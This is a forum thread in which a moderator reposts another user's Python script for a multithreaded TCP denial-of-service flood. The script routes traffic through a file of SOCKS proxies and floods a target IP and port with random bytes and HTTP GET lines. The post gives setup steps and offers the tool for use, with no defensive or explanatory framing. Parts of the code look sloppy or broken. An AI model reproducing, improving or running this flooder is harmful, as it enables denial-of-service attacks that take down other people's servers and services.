Results 1 to 2 of 2
  1. #1
    Moderator chewtoys's Avatar
    Join Date
    Jun 2013
    Posts
    2,351
    Points
    3,397
         User Info     Contact     Gamer ID
    Join Date
    Jun 2013
    Posts
    2,351
    Points
    3,397

    Default Async TCP Dos (Uses socks proxies as bots)

    I did not make this, CyberFurry did. Re-posting it for him.

    Quote Originally Posted by CʏʙᴇʀFᴜʀʀʏ
    Got bored and made this..so I thought I'd release it.

    Note: You need to make these folders inside of "C:\" Temp, and inside of Temp make a new folder called "Settings. In the settings folder, put your socks proxies txt file in here.
    So it should look like: "C:\Temp\Settings\Proxies.txt"

    Anyways, this tunnels every proxy in the txt file and throttle's them.
    Also added header's so they are read as active clients.

    Code:
    from socks import socksocket, PROXY_TYPE_SOCKS4, PROXY_TYPE_SOCKS5
    from socket import socket, AF_INET, SOCK_STREAM, SOCK_DGRAM
    from threading import Thread, Lock
    import socket
    import threading
    import time, random
    import pprint
    global _Host, _Port
    
    '''
    ~ Multithreaded TCP (Website/Server) (DDOS) ArcticFox.py
    ~ Made by ArcticFox AKA XMLTree Koala AKA CʏʙᴇʀFᴜʀʀʏ AKA whatever else nicknames I got...yehh... c:
    '''
    
    _Host = ''#Target's IP
    _Port = ''#Target's port
    
    def connect(proxy, webpage, timeout = 5):
            for i in range(0, 6):
                    try:
                            Sock_1 = socksocket(AF_INET, SOCK_STREAM)
                            Sock_1.settimeout(timeout)
                            Sock_1.connect(proxy)
                            Sock_1.send('CONNECT ' + ':'.join(webpage) + ' HTTP/1.1\r\nHost: ' + ':'.join(webpage) + '\r\n\r\n')
                            Recv_1 = Sock_1.recv(1024)
                            pprint.pprint(Recv_1)
                            if ' 200 ' in Recv_1:
                                    Sock_1.settimeout(30)
                                    return Sock_1
                    except Exception, e:
                            pass
                    Sock_1.close()
            return False
    '''
    def _Localflood():
         Flood = random.randint(1,2)
         if Flood == 1:
              Sock_3 = socksocket(AF_INET, SOCK_DGRAM)
              try:
                   Sock_3.setblocking(0)
              except:
                   pass
              Sock_3.settimeout(random.randint(3,5))
              Sock_3.connect((_Host, int(_Port)))
              while 1:
                   _Byte = random._urandom(1024)
                   Sock_3.send(_Byte)
    '''
    def Bot():
              Thread_Lock = Lock()
              with Thread_Lock:
                   _Proxy1 = [i.strip() for i in open('C:\Temp\Settings\Proxies.txt','r').read().splitlines()]
                   _Proxy2 = random.choice(_Proxy1)
                   _Proxy3 = _Proxy2.split(':')
                   _Proxy4 = _Proxy3[0]
                   _Proxy5 = int(_Proxy3[1])
                   Proxy = (_Proxy4, _Proxy5)
                   Sock_Type = random.randint(1,2)
                   Sock_2 = socksocket(AF_INET, SOCK_STREAM)
                   try:
                        Sock_2.setblocking(0)
                   except:
                        pass
                   if Sock_Type == 1:
                        Sock_2.setproxy(PROXY_TYPE_SOCKS4, _Proxy4, _Proxy5)
                   else:
                        Sock_2.setproxy(PROXY_TYPE_SOCKS5, _Proxy4, _Proxy5)
                   Sock_2.settimeout(random.randint(3,5))
                   Sock_2.connect((_Host, int(_Port)))
                   _Sent = 0
                   while 1:
                        _Byte = random._urandom(1024)
                        Sock_2.sendto(_Byte,(_Host,int(_Port)))
                        Sock_3 = socksocket(AF_INET, SOCK_STREAM)
                        Sock_3.sendto(_Byte,(_Host,_Port))
                        pprint.pprint(">> GET /" + _Host + " HTTP/1.1")
                        Sock_2.send("GET /" + _Host + " HTTP/1.1\r\n")
                        Sock_2.send("Host: " + _Host  + "\r\n\r\n")
                        try:
                             Sock_4 = connect(Proxy, [_Host, _Port], 10)
                             Sock_4.sendall(_Byte)
                        except:
                             pprint.pprint("Proxy header failed!")
                             pass
                        _Sent += 1
                        pprint.pprint("Attacks in progress: " + str(_Sent))
                        pprint.pprint("SUCCESSFUL!")
    while 1:
         threading.Thread(target=Bot,args=()).start()
         time.sleep(random.randint(1,2))

    1 Not allowed! Not allowed!

  2. #2
    ~ Hyrule's Savior ~
    link's Avatar
    Join Date
    Jun 2011
    Posts
    3,825
    Points
    2,802
         User Info     Contact     Gamer ID
    Join Date
    Jun 2011
    Posts
    3,825
    Points
    2,802

    Contact info:

    Youtube Channel: http://www.YouTube.Com/ReTrOSlink

    Default

    Lelelel

    0 Not allowed! Not allowed!
    #gamedevelopment


Bookmarks

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
All times are GMT -10. The time now is 04:07 AM.
Powered by vBulletin®
Copyright © 2018 vBulletin Solutions, Inc. All rights reserved.